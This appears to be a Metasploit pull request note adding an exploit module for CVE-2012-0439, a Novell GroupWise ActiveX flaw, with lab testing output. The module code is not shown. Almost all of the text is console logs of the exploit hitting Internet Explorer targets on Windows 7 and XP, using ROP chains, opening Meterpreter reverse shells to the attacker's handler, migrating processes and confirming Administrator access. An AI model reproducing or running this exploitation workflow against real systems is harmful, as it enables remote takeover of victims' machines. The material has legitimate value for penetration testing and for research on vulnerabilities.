Added module for cve-2012-0439

Testing results:

```
msf  exploit(novell_groupwise_gwcls1_actvx) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/ypmPVzKuu1
[*]  Local IP: http://192.168.1.128:8080/ypmPVzKuu1
[*] Server started.
msf  exploit(novell_groupwise_gwcls1_actvx) > [*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Requesting: /ypmPVzKuu1
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Target selected as: IE 9 on Windows 7
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Using JRE ROP
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.141
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.141:49342) at 2013-02-09 17:28:42 +0100
[*] Session ID 2 (192.168.1.128:4444 -> 192.168.1.141:49342) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1444)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2304
[+] Successfully migrated to process 

msf  exploit(novell_groupwise_gwcls1_actvx) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.141 - Meterpreter session 2 closed.  Reason: User exit
msf  exploit(novell_groupwise_gwcls1_actvx) > 
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Requesting: /ypmPVzKuu1
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Target selected as: IE 8 on Windows 7
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Using JRE ROP
[*] 192.168.1.141    novell_groupwise_gwcls1_actvx - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.141
[*] Meterpreter session 3 opened (192.168.1.128:4444 -> 192.168.1.141:49262) at 2013-02-09 17:32:27 +0100
[*] Session ID 3 (192.168.1.128:4444 -> 192.168.1.141:49262) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1688)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2648
[+] Successfully migrated to process 

msf  exploit(novell_groupwise_gwcls1_actvx) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.141 - Meterpreter session 3 closed.  Reason: User exit
msf  exploit(novell_groupwise_gwcls1_actvx) > 
[*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Requesting: /ypmPVzKuu1
[*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Using msvcrt ROP
[*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.138
[*] Meterpreter session 4 opened (192.168.1.128:4444 -> 192.168.1.138:1985) at 2013-02-09 17:34:40 +0100
[*] Session ID 4 (192.168.1.128:4444 -> 192.168.1.138:1985) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3744)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 664
[+] Successfully migrated to process 

msf  exploit(novell_groupwise_gwcls1_actvx) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

msf  exploit(novell_groupwise_gwcls1_actvx) > rexploit
[*] Stopping existing job...

[*] Server stopped.
[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/4vgXBC
[*]  Local IP: http://192.168.1.128:8080/4vgXBC
[*] Server started.
msf  exploit(novell_groupwise_gwcls1_actvx) > [*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Requesting: /4vgXBC
[*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.138    novell_groupwise_gwcls1_actvx - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.138
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.138:1285) at 2013-02-09 17:37:59 +0100
[*] Session ID 5 (192.168.1.128:4444 -> 192.168.1.138:1285) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (1156)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3444

msf  exploit(novell_groupwise_gwcls1_actvx) > [+] Successfully migrated to process 
s
[-] Unknown command: s.
msf  exploit(novell_groupwise_gwcls1_actvx) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...


```